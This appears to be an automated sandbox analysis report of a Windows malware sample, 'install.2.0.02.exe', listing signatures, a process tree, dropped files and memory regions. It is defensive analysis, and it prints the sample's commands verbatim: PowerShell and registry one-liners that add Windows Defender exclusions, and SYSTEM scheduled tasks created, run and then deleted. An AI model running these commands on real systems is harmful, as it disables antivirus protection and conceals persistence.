Analysis

  • max time kernel
    146s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/10/2026, 17:17

General

  • Target
    install.2.0.02.exe
  • Size 38.9MB
  • Sample261024-vt5whsfd48
  • SHA256 9fe036aee13f25a7694321b46a6e1f072dcde5e9f9315cc6cfb4cfed977e0dbb
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:5656
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:1524
    • C:\Users\Public\8rAYmh\pImV6B.exe
      "C:\Users\Public\8rAYmh\pImV6B.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3416
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        PID:5432
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\8rAYmh\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:1212
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\8rAYmh\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:124
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:4204
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:5832
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            • Suspicious use of WriteProcessMemory
            PID:5528
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:2956
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:4356
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:3596
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                • Suspicious use of WriteProcessMemory
                PID:3372
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:4908
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:3736
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:760
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    • Suspicious use of WriteProcessMemory
                    PID:5912
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:5608
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:5440
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:2564
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        PID:3016
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:4848
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:5380
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:1612
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\8rAYmh" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          PID:3284
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\8rAYmh" /t REG_DWORD /d 0 /f
                            2⤵
                              PID:8
                          • C:\Windows\system32\cmd.exe
                            cmd.exe
                            1⤵
                              PID:1728
                            • C:\Users\Public\8rAYmh\pImV6B.exe
                              "C:\Users\Public\8rAYmh\pImV6B.exe"
                              1⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              PID:2764
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              PID:4264
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                                2⤵
                                  PID:4992
                              • C:\Windows\system32\cmd.exe
                                "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                1⤵
                                • Executes a command shell one-liner
                                PID:1332
                                • C:\Windows\System32\reg.exe
                                  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                  2⤵
                                    PID:4360

                                Network

                                      MITRE ATT&CK Enterprise v16

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                      • Size 1KB
                                      • SHA256 1536b2dc03501b4e6d1b9ea7b2714772fd68095cf038537ebdb7abfd26d72177
                                      • MD5 SHA1 SHA512 TLSH

                                      B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                      • Size 1KB
                                      • SHA256 9c95859992125703b840ead5dcae4d6db746509ef3d9289dda663e60b5bbc8a4
                                      • MD5 SHA1 SHA512 TLSH

                                      0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                      • Size 512B
                                      • SHA256 4661d3bcbffa13b34325cff20e55edbfb2d3fd35b9a8d178a9495a379d1854ee
                                      • MD5 SHA1 SHA512 TLSH

                                      B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                      • Size 506B
                                      • SHA256 1af7087c27ece20ad31b8903f91b231fa481dafe3cb2427d8fc3983ad4e5d3f3
                                      • MD5 SHA1 SHA512 TLSH

                                      __PSScriptPolicyTest_dn3h3uyx.5i0.psm1

                                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dn3h3uyx.5i0.psm1
                                      • Size 60B
                                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                      • MD5 SHA1 SHA512 TLSH

                                      UxEnhance64.dll

                                      • Path C:\Users\Public\8rAYmh\UxEnhance64.dll
                                      • Size 3.1MB
                                      • SHA256 ab75f95a3f6397e853ac8c163387c2c7ab7f869fb3cc0c4a13c986c1eadd8148
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      adoresd.dat

                                      • Path C:\Users\Public\8rAYmh\adoresd.dat
                                      • Size 4.8MB
                                      • SHA256 7844eeb27659afa70dac51aae7a7bb118bee8efd9bab6123a968e89043da245d
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      msadox.tb

                                      • Path C:\Users\Public\8rAYmh\msadox.tb
                                      • Size 8KB
                                      • SHA256 29cbf72cc10da5bfa923324d35bcab273a13b767c5f60c917b6d1669ab68f07c
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      pImV6B.exe

                                      • Path C:\Users\Public\8rAYmh\pImV6B.exe
                                      • Size 135KB
                                      • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      memory/2764-583-0x000002AECF310000-0x000002AECFBE7000-memory.dmp

                                      memory/2764-580-0x00007FF85E080000-0x00007FF85E59E000-memory.dmp

                                      memory/2764-597-0x00007FF880D10000-0x00007FF880D12000-memory.dmp

                                      memory/2764-593-0x000002AECF310000-0x000002AECFBE7000-memory.dmp

                                      memory/2764-592-0x000002AECF310000-0x000002AECFBE7000-memory.dmp

                                      memory/2764-591-0x000002AECF310000-0x000002AECFBE7000-memory.dmp

                                      memory/2764-590-0x000002AECF310000-0x000002AECFBE7000-memory.dmp

                                      memory/2764-586-0x000002AECF310000-0x000002AECFBE7000-memory.dmp

                                      memory/2764-585-0x00007FF880D20000-0x00007FF880D22000-memory.dmp

                                      memory/3416-553-0x0000022C27DF0000-0x0000022C286C7000-memory.dmp

                                      memory/3416-546-0x0000022C27DF0000-0x0000022C286C7000-memory.dmp

                                      memory/3416-561-0x0000022C27360000-0x0000022C273AE000-memory.dmp

                                      memory/3416-559-0x0000022C27DF0000-0x0000022C286C7000-memory.dmp

                                      memory/3416-565-0x0000022C28A10000-0x0000022C28A9A000-memory.dmp

                                      memory/3416-564-0x0000022C28A10000-0x0000022C28A9A000-memory.dmp

                                      memory/3416-563-0x0000022C28A10000-0x0000022C28A9A000-memory.dmp

                                      memory/3416-562-0x0000022C28A10000-0x0000022C28A9A000-memory.dmp

                                      memory/3416-567-0x0000022C27DF0000-0x0000022C286C7000-memory.dmp

                                      memory/3416-569-0x0000022C27DF0000-0x0000022C286C7000-memory.dmp

                                      memory/3416-533-0x00007FF880D10000-0x00007FF880D12000-memory.dmp

                                      memory/3416-539-0x0000022C27DF0000-0x0000022C286C7000-memory.dmp

                                      memory/3416-541-0x00007FF880D20000-0x00007FF880D22000-memory.dmp

                                      memory/3416-534-0x00007FF85E080000-0x00007FF85E59E000-memory.dmp

                                      memory/3416-547-0x0000022C27DF0000-0x0000022C286C7000-memory.dmp

                                      memory/3416-543-0x0000022C27DF0000-0x0000022C286C7000-memory.dmp

                                      memory/3416-549-0x0000022C27DF0000-0x0000022C286C7000-memory.dmp

                                      memory/3416-548-0x0000022C27DF0000-0x0000022C286C7000-memory.dmp

                                      memory/5432-603-0x000001A1602C0000-0x000001A1602E2000-memory.dmp

                                      memory/5432-607-0x000001A160310000-0x000001A16032E000-memory.dmp

                                      memory/5432-608-0x000001A1605E0000-0x000001A160692000-memory.dmp

                                      memory/5432-609-0x000001A160300000-0x000001A16030A000-memory.dmp

                                      memory/5656-0-0x0000000000560000-0x000000000056E000-memory.dmp

                                      memory/5656-2-0x0000000002050000-0x000000000205C000-memory.dmp

                                      memory/5656-504-0x00007FF878490000-0x00007FF8784A2000-memory.dmp

                                      memory/5656-526-0x0000000000560000-0x000000000056E000-memory.dmp

                                      memory/5656-527-0x00007FF878490000-0x00007FF8784A2000-memory.dmp

                                      memory/5656-1-0x0000000000560000-0x000000000056E000-memory.dmp